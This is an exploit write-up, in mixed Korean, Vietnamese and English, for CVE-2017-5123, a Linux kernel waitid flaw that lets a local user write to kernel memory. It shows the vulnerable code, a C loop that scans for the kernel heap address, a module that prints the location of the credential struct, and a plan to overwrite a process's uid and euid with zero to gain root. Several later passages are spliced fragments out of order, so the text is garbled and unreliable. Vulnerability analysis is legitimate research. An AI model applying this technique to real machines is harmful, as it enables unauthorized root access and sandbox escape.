
CVE-2017-5123에 대한 상세 기술 분석 및 개념 증명 익스플로잇, 누락된 access_ok() 검사로 인해 로컬 권한 상승을 가능하게 하는 Linux 커널 waitid 시스템 콜 취약점입니다.
Waitid system call trong Linux kernel đã không xác thực địa chỉ đích được dùng. Điều này có thể cho phép người dùng cục bộ có quyền ghi vào vùng nhớ kernel, có thể dẫn đến leo thang đặc quyền trên thiết bị hoặc escape sandbox.
kernel/exit.c
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin(); // bản chất là gọi stac(), tạm thời tắt SMAP
unsafe_put_user(signo, &infop->si_signo, Efault); // <- thiếu access_ok() check trc khi gọi hàm này
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end(); // bản chất là gọi clac(), bật lại SMAP
return err;
Efault:
user_access_end();
return -EFAULT;
}
The identified error here is the lack of access_ok() check before calling unsafe_put_user(). In previous kernel versions, the program used put_user(), which includes the access_ok() check.
put_user(x, void __user *ptr)
if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
return -EFAULT
user_access_begin()
*ptr = x
user_access_end()
By using unsafe_put_user(), the program avoids repeatedly enabling/disabling SMAP in short periods by calling user_access_begin() / user_access_end(). The access_ok() function here checks the validity of the ptr address, ensuring it belongs to user space. This prevents users from writing to kernel memory. Therefore, if we call the waitid syscall with the infop parameter as a kernel address, it will trigger this vulnerability.
The lack of access_ok() check allows us to pass a kernel address as the infop parameter of waitid, and then the syscall will overwrite this address by calling unsafe_put_user(). A limitation here is that we cannot control what will be written to the kernel address we provide. There are 6 fields used for writing: signo, null byte, info.cause, info.pid (max value = 0x8000), info.uid, and info.status (int32 but only values >0, <256). The most useful field here is probably the null byte. We can use it to overwrite cred->euid and cred->uid. To do that, we need to know the addresses of these two values.
According to kernel.org, the Kernel-space virtual memory shared by all processes starts at 0xffff800000000000. However, from 0xffff800000000000 to 0xffff87ffffffffff is "... guard hole, also reserved for hypervisor", so we will start scanning memory from address 0xffff880000000000. Also note that we can scan memory because unsafe_put_user() will not crash when accessing invalid addresses. This helps prevent unprivileged users from DoSing the system by passing invalid addresses.
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
pid = fork();
if (pid > 0)
{
if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0)
{
printf("[+] Found %p\n", i);
break;
}
}
else if (pid == 0)
exit(0);
}

Now we know the kernel heap address, next we need to determine the address of the cred struct.
Although we know the kernel heap address, that address may not be the start of the heap. So we cannot calculate the exact address of the Cred struct. At this point, we use a technique called heap spray.
geteuid(); if it returns 0, that process is running with root privileges -> bingo.waitid() syscall using the vulnerability, guesses the cred struct address, and overwrites cred->uid to null.Debugging to find the cred struct address of child processes takes a lot of time, so I used an existing module to print the cred->euid address via printk().
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h> // for basic filesystem
#include <linux/proc_fs.h> // for the proc filesystem
#include <linux/seq_file.h> // for sequence files
static struct proc_dir_entry* jif_file;
static int
jif_show(struct seq_file *m, void *v)
{
return 0;
}
static int
jif_open(struct inode *inode, struct file *file)
{
printk("EUID: %p\n", ¤t->cred->euid);
return single_open(file, jif_show, NULL);
}
static const struct file_operations jif_fops = {
.owner = THIS_MODULE,
.open = jif_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init
jif_init(void)
{
jif_file = proc_create("jif", 0, NULL, &jif_fops);
if (!jif_file) {
return -ENOMEM;
}
return 0;
}
static void __exit
jif_exit(void)
{
remove_proc_entry("jif", NULL);
}
module_init(jif_init);
module_exit(jif_exit);
MODULE_LICENSE("GPL");

I noticed that there are addresses with similar patterns, and even after reboot, the offsets of these addresses remain similar. So I decided to pick an address and then add pagesize in a loop to guess the cred struct address.

heap addr found + offset, and need to reduce the offset to be smaller for broader compatibility. However, this means longer attack time and increased chance of kernel panic/crash due to possibly overwriting other important structs in the heap.access_ok() check